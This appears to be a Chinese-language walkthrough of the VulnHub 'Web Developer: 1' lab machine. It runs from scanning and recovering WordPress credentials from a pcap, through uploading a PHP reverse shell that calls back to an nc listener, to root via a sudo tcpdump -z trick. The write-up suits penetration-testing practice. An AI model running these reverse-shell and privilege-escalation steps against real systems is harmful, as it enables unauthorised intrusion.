一、靶机下载地址
https://www.vulnhub.com/entry/web-developer-1,288/
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:54:22:E9"
2、端口扫描
# 使用命令
nmap 192.168.145.216 -p- -sV
3、指纹识别
# 使用命令
whatweb "http://192.168.145.216"
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.216"
三、获取shell
1、访问靶机IP地址
2、拼接并访问ipdata目录,发现一个流量包,下载使用wireshark打开
3、查看后发现wordpress后台用户密码:webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd
4、拼接并访问/wp-admin,发现登录框界面
5、用找到的用户名密码登录wordpress,登录成功
6、利用wordpress的上传theme功能getshell,在下处发现一处文件上传页面
7、把kali linux自带的php反弹shell代码(/usr/share/webshells/php/php-reverse-shell.php)直接把/usr/share/webshells/php/php-reverse-shell.php改一下ip和port,保存,并上传。
# 使用命令
mv php-reverse-shell.php /home/kali/Desktop
vim php-reverse-shell.php
8、上传php-reverse-shell.php
文件
9、经过尝试发现上传的反弹shell在wp-content/uploads/ 目录的子目录下
10、kali开启监听
# 使用命令
nc -lvnp 1234
11、访问上传的文件,成功反弹到shell
12、输入以下命令,获得交互式shell
# 使用命令
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
1、进入到/var/www/html/wp-config.php,找到数据库wordpress的用户名和密码webdeveloper
: MasterOfTheUniverse
2、使用ssh进行连接
# 使用命令
ssh webdeveloper@192.168.145.216
3、输入如下命令查找php-reverse-shell.php
的位置,找到其位置在/var/www/html/wp-content/uploads/2024/08/php-reverse-shell.php
# 使用命令
find / -name php-reverse-shell.php 2>/dev/null
4、然后输入以下命令,并且kali开启监听
# 使用命令
COMMAND='php /var/www/html/wp-content/uploads/2024/08/php-reverse-shell.php'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
# 监听
nc -lvnp 1234